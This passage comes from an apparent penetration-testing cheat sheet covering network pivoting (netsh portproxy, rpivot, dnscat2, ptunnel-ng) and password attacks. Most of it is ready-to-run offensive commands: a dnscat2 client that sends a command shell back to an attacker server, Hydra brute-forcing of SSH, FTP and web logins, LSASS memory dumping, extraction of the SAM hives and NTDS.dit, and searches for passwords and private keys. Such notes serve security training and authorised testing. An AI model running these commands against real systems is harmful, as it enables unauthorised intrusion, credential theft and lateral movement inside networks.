| ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| `netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215`             | Listen on port on the 192.168.50.64 IP on port 2222 and forward packets to the 10.4.50.215  IP on port 22. |
| `netsh interface portproxy show all`                                                                                                     | Check estabilished port forwards                                                                           |
| `netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow` | Allow the previous port foward's traffic from the windows firewall                                         |
| `netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64`                                                       | Delete the previously created port forward                                                                 |

***

## **Rpivot Pivoting**

| Command                                                                        | Description                                                                                                                       |
| ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------- |
| `python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0` | Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`). |
| `scp -r rpivot ubuntu@<IPaddressOfTarget>`                                     | Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.                          |
| `sudo git clone https://github.com/klsecservices/rpivot.git`                   | Clones the rpivot project GitHub repository.                                                                                      |
| `python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`               | Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.                    |

***

## **DNSCat Pivoting**

| Command                                                                                                                        | Description                                                                                                                                                                                      |
| ------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `git clone https://github.com/lukebaggett/dnscat2-powershell.git`                                                              | Clones the dnscat2-powershell project Github repository.                                                                                                                                         |
| `Import-Module dnscat2.ps1`                                                                                                    | PowerShell command used to import the dnscat2.ps1 tool.                                                                                                                                          |
| `Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd` | PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`). |
| `dnscat2> ?`                                                                                                                   | Used to list dnscat2 options.                                                                                                                                                                    |
| `dnscat2> window -i 1`                                                                                                         | Used to interact with an established dnscat2 session.                                                                                                                                            |

***

## **PTunnel-NG Pivoting**

| Command                                                         | Description                                                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
| `git clone https://github.com/utoni/ptunnel-ng.git`             | Clones the ptunnel-ng project GitHub repository.                                                        |
| `sudo ./autogen.sh`                                             | Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.                 |
| `sudo ./ptunnel-ng -r10.129.202.64 -R22`                        | Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`). |
| `sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22` | Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`).                    |

***

## **Others**

| Command                                                                                                                                                                      | Description                                                                                                                                                                               |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| proxychains firefox-esr :80                                                                                                                                                  | Open firefox with Proxychains and send the web request through a SOCKS proxy server to the specified destination web server.                                                              |
| python client.py --server-ip TargetIP --server-port 8080 --ntlm-proxy-ip ProxyIP --ntlm-proxy-port 8081 --domain nameofWindowsDomain --username username --password password | Run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.                                                                                       |
| netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25                                             | Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389. |
| netsh.exe interface portproxy show v4tov4\`                                                                                                                                  | Windows-based command used to view the configurations of a portproxy rule called v4tov4.                                                                                                  |
| sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache                                                                                    | Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled.                           |


# Password Attacks

## **Default Credentials and Online Hash Cracking**

> Before attempting login bruteforcing or any password-based attacks, you should always check for **password re-use and default credentials usage**.\
> Also, after finding a hash, you should use one of the following **online cracking databases** before performing dictionary attacks or bruteforcing.

**Default Credentials:**

Always try googling the service's name followed by "default credentials".\
If that doesn't work, you can check the following resources:

1. <https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv>
2. <https://github.com/Dormidera/WordList-Compendium>
3. <https://datarecovery.com/rd/default-passwords/>
4. <https://bizuns.com/default-passwords-list>
5. <https://www.cirt.net/passwords>

**Online Databases - Hash Cracking:**

Whenever finding a hash, always try cracking it using one of the following online databases:

1. <https://crackstation.net/>
2. <https://www.cmd5.org/>
3. <https://md5decrypt.net/>
4. <https://www.md5online.org/md5-decrypt.html>

***

## **Making Custom Wordlists**

The following commands can help making a custom user or password wordlist after gaining more information about the specific target

* Interactively create a custom Password Wordlist using cupp: `cupp -i`
* Generate usernames list starting from name and surname: `./username-anarchy Bill Gates > wordlist.txt`
* Remove passwords shorter than 8 characters from wordlist: `sed -ri '/^.{,7}$/d' wordlist.txt`
* Remove passwords without numbers from wordlist: `sed -ri '/[0-9]+/!d' wordlist.txt`

***

## **Making Wordlist Mutations**

> A wordlist mutation is simply the result obtained through the process of adding several characters to a pre-existing wordlist. Basic examples are the following:\
> \[-] Adding special characters at the end of each word\
> \[-] Adding numbers at the end of each word\
> \[-] Transforming every word in leet (l33t) format, e.g. "ciao" becomes "c140"

* Generate wordlist based on keywords on a website:\
  `cewl https://example.idk -d 4 -m 6 --lowercase -w wordlist.txt`
* Generate a rule-based wordlist: `hashcat --force password.list -r custom.rule --stdout > new.list`

***

## **Offline Password Cracking**

Offline password cracking refers to the process of locally recovering a cleartext password from a previously obtained password hash. This process doesn't involve any interaction with the target system you are trying to access

**Cracking hashes using Hashcat:**

* Hashcat basic usage: `hashcat -m MODE_NUMBER hashfile /path/to/wordlist`
* Crack NTLM hashes: `hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt`
* Crack NTLMv2 hashes: `hashcat -m 5600 ntlm /usr/share/wordlists/rockyou.txt`
* Crack TGS Ticket after Kerberoasting: `hashcat -m 13100 kerberoasted /usr/share/wordlists/rockyou.txt`
* Crack TGS Ticket after ASREProasting: `hashcat -m 18200 asreproasted /usr/share/wordlists/rockyou.txt`
* Crack unshadowed hashes: `hashcat -m 1800 -a 0 unshadowed /usr/share/wordlists/rockyou.txt -o outfile`
* Crack MD5 hashes: `hashcat -m 500 -a 0 md5-hashes.list /usr/share/wordlists/rockyou.txt`
* Crack BitLocker hashes: `hashcat -m 22100 backup.hash /usr/share/wordlists/rockyou.txt -o backup.cracked`
* Crack KeePass hashes: `hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt`

**Cracking hashes using John:**

* John basic usage: `john --wordlist=/usr/share/wordlists/rockyou.txt hashfile`
* Show cracking result: `john cracked-hash-file --show`
* John unshadowing: `unshadow /etc/passwd /etc/shadow > unshadowed.hashes`
* Crack hash specifying its format: `john --format=hash-type hash_to_crack.txt`

**Cracking files using John Scripts:**

* Install with `sudo apt install john-data`
* John data is a package containing scripts to transform different file types to hashes to crack
* Most of the scripts' usage is the same:\
  `example2john example > hash` followed by `john --wordlist=wordlist.txt hash`
* Some of the mostly used ones are the following:\
  `rar2john`, `zip2john`, `ssh2john`, `pdf2john`, `office2john`, `keepass2john`
* You can find the entire list of scripts and their usage here:\
  <https://www.kali.org/tools/john/#john-data>

***

## **Bruteforcing Protocols and Services Authentication**

> If you have access to NTLM password hashes or Kerberos Tickets, you should always check if you can authenticate using PtH (Pass the Hash) or PtT (Pass the Ticket)\
> For more information on how to do that, refer to the Active Directory (Kerberos) Notes.

When facing an interesting exposed protocol or service, you could try bruteforcing its authentication in order to gain access.

* Hydra basic usage: `hydra -L user.list -P password.list service://ip`
* Hydra HTTP Basic Authentication bruteforcing:\
  `hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /`
* Hydra HTTP Post Form Login bruteforcing (error text message):\
  `hydra -l username -P passwords.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:ErrorMessageonLoginFailure"`
* Hydra HTTP Post Form Login bruteforcing (error HTTP element):\
  `hydra -l username -P passwords.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"`
* Hydra SSH Authentication bruteforcing:\
  `hydra -L usernames.txt -P passwords.txt -u -f ssh://SERVER_IP:PORT -t 4`
* Hydra FTP Authentication bruteforcing: `hydra -l username -P passwordslist.txt ftp://ServerIP`
* CrackMapExec to bruteforce WinRM: `crackmapexec winrm ip -u userlist -p passwordlist`

***

## **Hunting Passwords in Windows**

**Finding passwords in files:**

1. Find files containing the "password" string in different file types:\
   `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml`

**Extract credentials by dumping LSASS:**

1. Enumerate the LSASS process PID: `Get-Process lsass` or `tasklist /svc`
2. Create a LSASS dump by specifying the process' PID:\
   `rundll32 C:\windows\system32\comsvcs.dll, MiniDump LSASS-PID C:\lsass.dmp full`
3. Extract Credentials: `pypykatz lsa minidump /path/to/lsassdumpfile`

**Extract credentials from the SAM Database:**

1. Save a copy of the SAM, SECURIRY and SYSTEM registry hives:
   * `reg.exe save hklm\sam C:\sam.save`
   * `reg.exe save hklm\security C:\sam.security`
   * `reg.exe save hklm\system C:\sam.system`
2. Dump password hashes from the SAM database:\
   `python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`

**Extract hashes from the NTDS.dit file:**

1. Fast way: Use CME with valid credentials:\
   `crackmapexec smb targetIP -u validuser -p password --ntds`
2. Harder way: Create a volume shadow copy for the C Drive to copy the NTDS.dit file safely:\
   `vssadmin CREATE SHADOW /For=C:`
3. Create a copy of NTDS.dit for a volume shadow copy of C:\
   `cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit`

***

## **Hunting Passwords in Linux**

**Finding passwords in files:**

1. Find passwords in configuration files:\
   `for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null \| grep -v "lib\|fonts\|share\|core" ;done`
2. Find common database files:\
   `for l in $(echo ".sql .db .\*db .db\*");do echo -e "\nDB File extension: " $l; find / -name \*\$l 2>/dev/null \| grep -v "doc\|lib\|headers\|share\|man";done | Script that can be used to find common database files.`
3. Find script files: `for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null \| grep -v "doc\|lib\|headers\|share";done`
4. Find common document files:\
   `for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null \| grep -v "lib\|fonts\|share\|core" ;done`
5. View the contents of crontab in search for credentials: `cat /etc/crontab`
6. Search files with potential SSH private keys:\
   `grep -rnw "PRIVATE KEY" /* 2>/dev/null \| grep ":1"`


